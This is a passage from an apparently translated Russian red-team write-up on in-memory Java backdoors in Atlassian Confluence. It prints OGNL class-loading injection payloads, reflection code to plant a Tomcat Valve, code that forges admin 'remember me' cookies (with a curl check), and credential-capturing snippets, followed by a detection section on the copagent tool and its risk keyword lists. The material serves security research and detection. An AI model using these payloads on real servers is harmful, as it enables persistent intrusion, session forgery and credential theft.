@org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],\"loadClass\",\"\") #root[1][4] = #root[1][3].getMethod().invoke(#root[1][2],#root[0]['name'][0]).newInstance()<\/code><\/pre>\n<\/p>\n<p>\u042d\u0442\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f:<\/p>\n<pre><code class=\"java\">#root[1][0] = @Thread@currentThread().getContextClassLoader() #root[1][1] = @java.util.Base64@getDecoder() #root[1][2] = new net.bytebuddy.dynamic.loading.ByteArrayClassLoader(#root[1][0],false,#{}) #root[1][3] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],\"defineClass\",\"\",\"\".getBytes()).getMethod() #root[1][4] = #root[(#k=0)]['classes'].{#root[1][3].invoke(#root[1][2],#root[0]['names'][(#k=#k+1)-1],#root[1][1].decode(#root[0]['classes'][#k-1]))} #root[1][5] = @org.springframework.security.util.MethodInvocationUtils@create(#root[1][2],\"loadClass\",\"\").getMethod() #root[1][6] = #root[1][5].invoke(#root[1][2],#root[0]['main'][0]).newInstance()<\/code><\/pre>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\u044b\u0435 \u0434\u0432\u0438\u0436\u043a\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b, \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438, \u0447\u0442\u043e \u043e\u043d\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f \u0432 Confluence. \u041f\u0440\u0438\u043c\u0435\u0440 PoC \u043d\u0430 <a href=\"https:\/\/github.com\/BeichenDream\/CVE-2022-26134-Godzilla-MEMSHELL\" rel=\"noopener noreferrer nofollow\">GitHub <\/a>\u0438 <a href=\"https:\/\/github.com\/httpvoid\/writeups\/blob\/main\/Confluence-RCE.md\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u044f <\/a>\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 JavaScript ScriptingEngine \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-26134 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041e\u0434\u043d\u0430\u043a\u043e, \u0442\u0430\u043a\u0438\u0435 \u0434\u0432\u0438\u0436\u043a\u0438, \u043f\u043e\u0445\u043e\u0436\u0435, \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432 Confluence \u0438 JDK 17.<\/p>\n<p><strong>\u0412\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 Confluence<\/strong><\/p>\n<p>\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e Bitbucket, Confluence \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u043c, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Atlassian, \u0438 \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u044f\u0432\u0438\u0442\u044c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0435 \u0441\u0445\u043e\u0434\u0441\u0442\u0432\u0430 \u043c\u0435\u0436\u0434\u0443 \u043d\u0438\u043c\u0438. \u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u043d\u0435\u0435 <a href=\"https:\/\/github.com\/CrackerCat\/PostConfluence\" rel=\"noopener noreferrer nofollow\">\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 <\/a>\u043f\u0440\u0438\u043c\u0435\u0440\u044b Java-\u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e.<\/p>\n<p>\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c Confluence \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u0443 \u0436\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u043e Bitbucket. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Confluence \u043e\u0441\u043d\u043e\u0432\u0430\u043d \u043d\u0430 Tomcat, \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u043d\u043e\u0432\u043e\u0433\u043e Valve, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u043a\u043e\u0434\u043e\u0432\u0443\u044e \u0431\u0430\u0437\u0443 \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u0430. \u0418\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 SSTI, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a StandardContext Tomcat, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f ServletActionContext Struts2. \u0422\u0430\u043a \u043a\u0430\u043a \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437 \u043f\u043e\u0442\u043e\u043a\u0430, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0435\u0433\u043e \u0432\u0435\u0431-\u0437\u0430\u043f\u0440\u043e\u0441, \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 StandardContext \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0432 \u0440\u0435\u0444\u043b\u0435\u043a\u0441\u0438\u044e \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044f\u0445<\/p>\n<pre><code class=\"java\">ServletContext svlCtx = ServletActionContext.getRequest().getServletContext(); Field field = svlCtx.getClass().getDeclaredField(\"context\"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(svlCtx);  field = applicationContext.getClass().getDeclaredField(\"context\"); field.setAccessible(true); return (StandardContext)field.get(applicationContext);<\/code><\/pre>\n<p>\u0418\u043c\u0435\u044f \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c Valve, \u043a\u0430\u043a \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u0440\u0430\u043d\u0435\u0435.<\/p>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0437\u0430\u043c\u0435\u0442\u043d\u043e\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 Bitbucket \u0438 Confluence \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u043a \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u043c. \u0412 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a Bitbucket \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0430\u043d\u043d\u043e\u0442\u0430\u0446\u0438\u044e @Service \u0438\u0437 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 Spring \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439, Confluence \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c, \u043e\u0431\u043b\u0435\u0433\u0447\u0430\u044e\u0449\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f ContainerManager. \u041e\u043d \u0445\u0440\u0430\u043d\u0438\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c, \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e \u043d\u0438\u0436\u0435:<\/p>\n<pre><code class=\"java\">UserAccessor userAccessor = (UserAccessor) ContainerManager.getComponent(\"userAccessor\"); for (User user : userAccessor.getUsers()) {     System.out.println(user.getName()) }<\/code><\/pre>\n<p><strong>\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f Cookies \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438<\/strong><\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043b\u0430\u0441\u0441 ContainerManager, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c \u043a\u043b\u0430\u0441\u0441\u0430\u043c \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 cookies, \u043a\u0430\u043a \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u043b\u043e\u0441\u044c \u0434\u043b\u044f Bitbucket. \u042d\u0442\u0430 \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u0443\u0436\u0435 \u0431\u044b\u043b\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0432 \u0434\u0432\u0443\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u043d\u0430 <a href=\"https:\/\/github.com\/CrackerCat\/PostConfluence\" rel=\"noopener noreferrer nofollow\">GitHub<\/a>.<\/p>\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043b\u0430\u0441\u0441\u0443 RememberMeTokenDao, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 cookies \u0434\u043b\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439:<\/p>\n<pre><code class=\"java\">DefaultRememberMeTokenGenerator generator = new DefaultRememberMeTokenGenerator(); RememberMeConfiguration config = (RememberMeConfiguration) ContainerManager   .getComponent(\"rememberMeConfig\");  RememberMeToken token = ((RememberMeTokenDao) ContainerManager.getComponent(\"rememberMeTokenDao\"))   .save(generator.generateToken(\"admin\"));  String cookie = String.format(\"%s=%s\",    config.getCookieName(),    URLEncoder.encode(String.format(\"%s:%s\", save.getId(), save.getRandomString())) ); \/\/ seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df<\/code><\/pre>\n<p>\u042d\u0442\u0443 cookie \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u0434\u043b\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f:<\/p>\n<pre><code class=\"bash\">$ curl -kIs -b \"seraph.confluence=622594%3Aeccf6dfd9acbde7dc82d43357df11e203d07b1df\" http:\/\/confluence.local:8090\/admin\/users\/browseusers.action HTTP\/1.1 200  Cache-Control: no-store Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Confluence-Request-Time: 1712744566388 Set-Cookie: JSESSIONID=960285A70EAA39C4F21CAE9530A873F3; Path=\/; HttpOnly X-Seraph-LoginReason: OK X-AUSERNAME: admin<\/code><\/pre>\n<p><strong>\u041f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/strong><\/p>\n<p>\u0412 Confluence \u0444\u043e\u0440\u043c\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0440\u0443\u0447\u043a\u0443 \/dologin.action. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043e\u0433\u0434\u0430 \u0444\u043e\u0440\u043c\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441:<\/p>\n<pre><code>POST \/dologin.action HTTP\/1.1 Host: confluence.local:8090 Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application\/x-www-form-urlencoded [...]  os_username=admin&amp;os_password=admin&amp;login=Log+in&amp;os_destination=%2Findex.action<\/code><\/pre>\n<p>\u0423\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0431\u044d\u043a\u0434\u043e\u0440, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044f \u043d\u0443\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u043a\u0430\u043a \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0441\u0434\u0435\u043b\u0430\u043d\u043e \u0434\u043b\u044f Bitbucket \u0438 Jenkins:<\/p>\n<pre><code class=\"java\">Map&lt;String, Object&gt; creds = new HashMap&lt;&gt;(); creds.put(\"user\", request.getParameter(\"os_username\")); creds.put(\"password\", request.getParameter(\"os_password\"));<\/code><\/pre>\n<h2>\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435<\/h2>\n<p>\u0414\u043b\u044f \u0441\u0438\u043d\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u043e\u0432 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435\u0439, \u0442\u0430\u043a \u043a\u0430\u043a \u043d\u0430 \u0434\u0438\u0441\u043a\u0435 \u043d\u0435 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u043e\u0432. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0442\u0430\u043a\u0438\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u0447\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u2014 \u044d\u0442\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u0441\u0432\u043e\u0435\u0439 \u0441\u0443\u0442\u0438 \u0442\u0440\u0443\u0434\u0435\u043d. \u041c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c \u044d\u0442\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u2014 \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u043f\u043e\u0434\u0445\u043e\u0434, \u0442\u0430\u043a \u043a\u0430\u043a \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u0432 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c, \u043e\u0442 ProcessBuilder \u0438\u043b\u0438 Runtime.getRuntime().exec(&#8230;).<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u0435\u0442\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 <a href=\"https:\/\/github.com\/LandGrey\/copagent\" rel=\"noopener noreferrer nofollow\">copagent<\/a>. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Java-\u0430\u0433\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432:<\/p>\n<pre><code class=\"bash\">$ java -jar cop.jar -p 7 [INFO] Java version: 17 [INFO] args length: 2 [INFO] Java version: 17 [INFO] args length: 4 [INFO] Try to attach process 7, please wait a moment ...<\/code><\/pre>\n<p>\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0438\u043c\u0435\u0435\u0442 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f:<\/p>\n<pre><code class=\"java\">List&lt;String&gt; riskSuperClassesName = new ArrayList&lt;String&gt;(); riskSuperClassesName.add(\"javax.servlet.http.HttpServlet\");  List&lt;String&gt; riskPackage = new ArrayList&lt;String&gt;(); riskPackage.add(\"net.rebeyond.\"); riskPackage.add(\"com.metasploit.\");  List&lt;String&gt; riskAnnotations = new ArrayList&lt;String&gt;(); riskAnnotations.add(\"org.springframework.stereotype.Controller\"); [...]<\/code><\/pre>\n<p>\u041a\u043e\u0433\u0434\u0430 \u043a\u043b\u0430\u0441\u0441 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f, \u043e\u043d \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442\u0441\u044f \u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b .copagent\/results.txt. \u0412\u043e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u0432\u0443\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0430\u0448\u0438\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c, \u0438 \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u044e\u0442 \u043a\u043b\u0430\u0441\u0441 javax.servlet.Filter, \u043e\u043d\u0438 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044e\u0442\u0441\u044f:<\/p>\n<pre><code class=\"java\">[...] order: 281 name: org.foo.bar.Class1 risk level: normal location: \/tmp\/.copagent\/java\/org.foo.bar.a.a - 8f2ef92\/org\/foo\/bar\/Class1.java hashcode: 6e6bb856 classloader: org.foo.bar.a.a extends     : org.foo.bar.a.a@8f2ef92  order: 282 name: org.foo.bar.Class2 risk level: normal location: \/tmp\/.copagent\/java\/org.foo.bar.a.a - 8f2ef92\/org\/foo\/bar\/Class2.java hashcode: 66bd3ba5 classloader: org.foo.bar.a.a extends     : org.foo.bar.a.a@8f2ef92 [...]<\/code><\/pre>\n<\/p>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0440\u0438\u0441\u043a\u0430 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u043c:<\/p>\n<pre><code class=\"java\">List&lt;String&gt; riskKeyword = new ArrayList&lt;String&gt;(); riskKeyword.add(\"javax.crypto.\"); riskKeyword.add(\"ProcessBuilder\"); riskKeyword.add(\"getRuntime\"); riskKeyword.add(\"shell\");<\/code><\/pre>\n<p>\u0421\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u0437\u0430\u0442\u0435\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e:<\/p>\n<pre><code class=\"bash\">$ ll class\/org.foo.bar.a.a-8f2ef92\/org\/foo\/bar\/ total 16 4 drwxr-x--- 2 confluence confluence 4096 Apr 10 14:26 . 4 drwxr-x--- 3 confluence confluence 4096 Apr 10 14:26 .. 4 -rw-r----- 1 confluence confluence 3285 Apr 10 14:42 Class1.class 4 -rw-r----- 1 confluence confluence 1377 Apr 10 14:42 Class2.class<\/code><\/pre>\n<h2>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h2>\n<p>\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u0430\u0432\u0442\u043e\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u044d\u0442\u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f red team, \u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 